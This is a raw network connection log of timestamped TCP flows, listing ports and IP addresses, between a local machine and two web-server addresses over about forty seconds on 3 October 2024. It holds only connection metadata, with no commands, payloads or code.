Oct 3, 2024 06:54:46.689440012 CEST	49789	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:46.744379997 CEST	49788	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:46.749278069 CEST	80	49788	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:46.847774982 CEST	80	49788	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:46.849661112 CEST	49790	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:46.849684000 CEST	443	49790	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:46.849754095 CEST	49790	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:46.850104094 CEST	49790	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:46.850116968 CEST	443	49790	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:46.924616098 CEST	49788	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:47.339248896 CEST	443	49790	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:47.341077089 CEST	49790	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:47.341092110 CEST	443	49790	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:47.474766016 CEST	443	49790	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:47.475128889 CEST	49790	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:47.475145102 CEST	443	49790	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:47.756874084 CEST	443	49790	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:47.756969929 CEST	443	49790	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:47.757158041 CEST	49790	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:47.757740974 CEST	49790	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:47.759038925 CEST	49791	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:47.759072065 CEST	443	49791	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:47.759141922 CEST	49791	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:47.759464025 CEST	49791	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:47.759475946 CEST	443	49791	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:48.229176044 CEST	443	49791	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:48.231430054 CEST	49791	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:48.231450081 CEST	443	49791	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:48.284703016 CEST	49780	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:48.290036917 CEST	80	49780	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:48.290079117 CEST	49780	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:48.354482889 CEST	443	49791	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:48.354718924 CEST	49791	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:48.354733944 CEST	443	49791	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:48.666908979 CEST	443	49791	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:48.667092085 CEST	443	49791	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:48.667278051 CEST	49791	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:48.667747974 CEST	49791	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:52.889456987 CEST	49792	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:52.889461994 CEST	49788	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:52.898123980 CEST	80	49792	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:52.900523901 CEST	80	49788	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:52.900635958 CEST	49788	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:52.900640011 CEST	49792	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:52.900764942 CEST	49792	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:52.906548023 CEST	80	49792	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:53.484560013 CEST	80	49792	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:53.489967108 CEST	49793	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:53.490056992 CEST	443	49793	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:53.490348101 CEST	49793	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:53.493237972 CEST	49793	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:53.493325949 CEST	443	49793	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:53.534701109 CEST	49792	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:54.015846968 CEST	443	49793	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:54.018081903 CEST	49793	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:54.018145084 CEST	443	49793	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:54.175894022 CEST	443	49793	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:54.181827068 CEST	49793	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:54.181910992 CEST	443	49793	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:54.558475018 CEST	443	49793	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:54.558645964 CEST	443	49793	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:54.558830023 CEST	49793	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:54.558995962 CEST	49793	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:54.570507050 CEST	49792	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:54.570949078 CEST	49794	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:54.585747957 CEST	80	49792	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:54.585812092 CEST	49792	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:54.585942030 CEST	80	49794	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:54.585999966 CEST	49794	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:54.586114883 CEST	49794	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:54.594963074 CEST	80	49794	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:55.079452038 CEST	80	49794	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:55.083249092 CEST	49795	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:55.083302975 CEST	443	49795	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:55.083409071 CEST	49795	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:55.084642887 CEST	49795	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:55.084681034 CEST	443	49795	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:55.154633999 CEST	49794	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:55.546740055 CEST	443	49795	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:55.551043034 CEST	49795	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:55.551110029 CEST	443	49795	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:55.665020943 CEST	443	49795	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:55.665258884 CEST	49795	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:55.665337086 CEST	443	49795	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:55.884784937 CEST	443	49795	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:55.884963989 CEST	443	49795	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:55.885025024 CEST	49795	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:55.885332108 CEST	49795	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:55.886734009 CEST	49796	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:55.886758089 CEST	443	49796	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:55.886815071 CEST	49796	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:55.887046099 CEST	49796	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:55.887053967 CEST	443	49796	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:56.371658087 CEST	443	49796	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:56.440849066 CEST	49796	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:56.467588902 CEST	49796	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:56.467597008 CEST	443	49796	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:56.569376945 CEST	443	49796	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:56.623558044 CEST	49796	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:56.623565912 CEST	443	49796	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:56.939414024 CEST	443	49796	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:56.939667940 CEST	443	49796	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:56.939812899 CEST	49796	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:56.944936037 CEST	49796	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:10.219486952 CEST	49794	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:10.220654964 CEST	49797	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:10.229309082 CEST	80	49794	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:10.229356050 CEST	49794	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:10.229696035 CEST	80	49797	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:10.229773045 CEST	49797	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:10.230035067 CEST	49797	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:10.236915112 CEST	80	49797	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:10.717593908 CEST	80	49797	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:10.720022917 CEST	49798	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:10.720115900 CEST	443	49798	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:10.720304966 CEST	49798	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:10.720604897 CEST	49798	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:10.720644951 CEST	443	49798	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:10.831557035 CEST	49797	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:11.261843920 CEST	443	49798	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:11.273739100 CEST	49798	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:11.273802996 CEST	443	49798	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:11.406394005 CEST	443	49798	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:11.407330990 CEST	49798	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:11.407416105 CEST	443	49798	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:11.725613117 CEST	443	49798	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:11.725754976 CEST	443	49798	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:11.729178905 CEST	49798	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:11.733360052 CEST	49798	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:11.736907959 CEST	49797	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:11.744041920 CEST	80	49797	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:11.841931105 CEST	80	49797	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:11.846287012 CEST	49799	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:11.846328020 CEST	443	49799	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:11.849509001 CEST	49799	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:11.853535891 CEST	49799	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:11.853549004 CEST	443	49799	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:11.940926075 CEST	49797	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:12.312830925 CEST	443	49799	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:12.314673901 CEST	49799	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:12.314683914 CEST	443	49799	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:12.431057930 CEST	443	49799	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:12.431298018 CEST	49799	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:12.431314945 CEST	443	49799	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:12.712579966 CEST	443	49799	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:12.712758064 CEST	443	49799	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:12.712809086 CEST	49799	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:12.713180065 CEST	49799	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:12.715260983 CEST	49800	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:12.715292931 CEST	443	49800	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:12.715506077 CEST	49800	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:12.715626955 CEST	49800	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:12.715636969 CEST	443	49800	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:13.191562891 CEST	443	49800	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:13.198976994 CEST	49800	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:13.199007988 CEST	443	49800	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:13.323024035 CEST	443	49800	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:13.327594995 CEST	49800	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:13.327610016 CEST	443	49800	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:13.613570929 CEST	443	49800	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:13.613739014 CEST	443	49800	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:13.614206076 CEST	49800	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:13.614206076 CEST	49800	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:20.083966017 CEST	49797	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:20.084863901 CEST	49801	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:20.089378119 CEST	80	49797	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:20.089442015 CEST	49797	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:20.089647055 CEST	80	49801	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:20.089711905 CEST	49801	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:20.089932919 CEST	49801	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:20.094719887 CEST	80	49801	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:20.590311050 CEST	80	49801	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:20.650760889 CEST	49802	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:20.650805950 CEST	443	49802	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:20.650871992 CEST	49802	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:20.651254892 CEST	49802	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:20.651264906 CEST	443	49802	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:20.659776926 CEST	49801	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:21.122756004 CEST	443	49802	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:21.128947020 CEST	49802	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:21.128967047 CEST	443	49802	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:21.261868000 CEST	443	49802	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:21.265216112 CEST	49802	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:21.265245914 CEST	443	49802	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:21.661828995 CEST	443	49802	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:21.662014961 CEST	443	49802	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:21.665810108 CEST	49802	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:21.810210943 CEST	49802	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:21.818784952 CEST	49803	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:21.818794966 CEST	49801	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:21.823929071 CEST	80	49803	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:21.824131966 CEST	80	49801	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:21.824234962 CEST	49801	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:21.824242115 CEST	49803	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:21.825503111 CEST	49803	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:21.830324888 CEST	80	49803	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:22.289100885 CEST	80	49803	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:22.292520046 CEST	49804	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:22.292622089 CEST	443	49804	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:22.292702913 CEST	49804	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:22.293097973 CEST	49804	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:22.293138027 CEST	443	49804	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:22.331566095 CEST	49803	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:22.782100916 CEST	443	49804	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:22.783968925 CEST	49804	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:22.784063101 CEST	443	49804	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:22.921622038 CEST	443	49804	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:22.922230005 CEST	49804	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:22.922297001 CEST	443	49804	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:23.213368893 CEST	443	49804	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:23.213551044 CEST	443	49804	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:23.215095997 CEST	49804	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:23.215096951 CEST	49804	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:23.217672110 CEST	49805	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:23.217755079 CEST	443	49805	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:23.221894979 CEST	49805	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:23.221894979 CEST	49805	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:23.221982002 CEST	443	49805	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:23.683754921 CEST	443	49805	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:23.685800076 CEST	49805	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:23.685847044 CEST	443	49805	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:23.820461988 CEST	443	49805	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:23.820748091 CEST	49805	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:23.820822954 CEST	443	49805	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:24.178987980 CEST	443	49805	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:24.179167032 CEST	443	49805	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:24.179225922 CEST	49805	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:24.179553986 CEST	49805	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:26.166237116 CEST	49806	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:26.171355009 CEST	80	49806	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:26.171439886 CEST	49806	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:26.171889067 CEST	49806	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:26.176739931 CEST	80	49806	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:26.313488007 CEST	49807	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:26.318478107 CEST	80	49807	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:26.318558931 CEST	49807	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:26.319106102 CEST	49807	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:26.323865891 CEST	80	49807	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:26.338371992 CEST	49803	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:26.343278885 CEST	80	49803	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:26.443504095 CEST	80	49803	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:26.444633007 CEST	49808	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:26.444732904 CEST	443	49808	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:26.444813967 CEST	49808	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:26.445029020 CEST	49808	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:26.445065975 CEST	443	49808	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:26.631807089 CEST	80	49806	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:26.633616924 CEST	49809	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:26.633661985 CEST	443	49809	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:26.633744955 CEST	49809	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:26.635409117 CEST	49809	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:26.635442019 CEST	443	49809	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:26.644054890 CEST	49803	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:26.776462078 CEST	80	49807	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:26.777918100 CEST	49811	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:26.778001070 CEST	443	49811	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:26.779669046 CEST	49811	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:26.779814005 CEST	49811	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:26.779845953 CEST	443	49811	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:26.844161034 CEST	80	49806	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:26.844319105 CEST	49806	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:26.918836117 CEST	443	49808	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:26.920309067 CEST	49808	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:26.920397043 CEST	443	49808	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:26.956564903 CEST	49807	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:27.058696032 CEST	443	49808	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.059079885 CEST	49808	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.059109926 CEST	443	49808	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.105540037 CEST	443	49809	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.107120991 CEST	49809	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.107142925 CEST	443	49809	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.236625910 CEST	443	49811	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.238318920 CEST	49811	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.238348007 CEST	443	49811	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.247143984 CEST	443	49809	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.247414112 CEST	49809	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.247430086 CEST	443	49809	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.370430946 CEST	443	49808	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.370608091 CEST	443	49808	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.370672941 CEST	49808	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.370910883 CEST	49808	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.374465942 CEST	49803	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:27.379342079 CEST	80	49803	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:27.385516882 CEST	443	49811	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.385749102 CEST	49811	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.385790110 CEST	443	49811	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.479743004 CEST	80	49803	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:27.482265949 CEST	49812	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.482336044 CEST	443	49812	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.482665062 CEST	49812	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.482897043 CEST	49812	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.482932091 CEST	443	49812	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.536654949 CEST	443	49809	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.536812067 CEST	443	49809	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.537159920 CEST	49809	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.537159920 CEST	49809	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.537184000 CEST	443	49809	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.537272930 CEST	49809	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.540285110 CEST	49806	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:27.545232058 CEST	80	49806	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:27.643080950 CEST	80	49806	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:27.644138098 CEST	49803	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:27.644323111 CEST	49813	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.644370079 CEST	443	49813	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.644488096 CEST	49813	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.644704103 CEST	49813	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.644718885 CEST	443	49813	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.657918930 CEST	443	49811	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.658077002 CEST	443	49811	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.658488989 CEST	49811	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.658521891 CEST	443	49811	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.658598900 CEST	49811	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.661330938 CEST	49811	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.662791014 CEST	49807	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:27.667705059 CEST	80	49807	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:27.764951944 CEST	80	49807	104.26.13.205	192.168.2.4
Oct 3, 2024 06:55:27.766397953 CEST	49814	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.766486883 CEST	443	49814	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.766599894 CEST	49814	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.766848087 CEST	49814	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.766890049 CEST	443	49814	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.831777096 CEST	49806	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:27.862920046 CEST	49807	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:55:27.960052967 CEST	443	49812	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:27.961878061 CEST	49812	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:27.961946011 CEST	443	49812	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.075901985 CEST	443	49812	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.076205969 CEST	49812	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:28.076287031 CEST	443	49812	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.135493994 CEST	443	49813	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.139247894 CEST	49813	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:55:28.139281988 CEST	443	49813	104.21.54.163	192.168.2.4
Oct 3, 2024 06:55:28.228373051 CEST	443	49814	104.21.54.163	192.168.2.4
